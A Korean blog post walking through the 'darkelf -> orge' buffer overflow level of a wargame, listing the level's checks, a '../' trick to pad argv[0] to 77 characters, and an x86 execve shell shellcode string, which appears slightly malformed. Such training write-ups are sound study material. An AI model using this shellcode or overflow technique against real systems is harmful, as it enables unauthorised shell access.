jam 블로그

[bof 원정대] darkelf -> orge (check argv[0]) 본문

해킹/시스템

[bof 원정대] darkelf -> orge (check argv[0])

kid1412 2012. 3. 19. 19:51
728x90
먼저 문제 소스를 봅시다~

 [그림 1] orge.c

소스 분석
1. buffer의 크기는 40
2. 인자값은 적어도 하나 이상
3. 0번째 인자값(즉. 실행파일명 또는 경로)의 길이가 77이어야함
4. 환경변수 초기화
5. 첫번째 인자값의 48번째 값은 \xbf
6. 첫번째 인자값의 길이가 48을 넘지 않아야함.
7. buffer 초기화 

 
이제 풀기 위한 과정을 다음과 같습니다.

0. bash2
1. 파일명 및 경로의 길이를 77로 맞추기
2. 40byte 이내의 shellcode
3. argv[1]의 주소값
4. bof 공격 

 
1. 파일명 및 경로의 길이를 77로 맞추기

파일명이 orge 4글자이며 풀 경로는 /home/orge 10글자이다 앞에 ../ 를 막 붙여서 77글자 만들자
 ../../../../../../../../../../../../../../../../../../../../home/darkelf/orge

 
2. 40byte 이내의 shellcode

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

 
3. argv[1]의 주소값

 [그림 2] argv[1] 주소값

 
4. bof 주소값

 [그림 3] bof 공격

앞의 문제와 비슷하며 파일명만 바꾼 것이라서 어렵지 않습니다. 역시나 주소값은 약간의 변경이 필요할 수 있습니다. 

 
Comments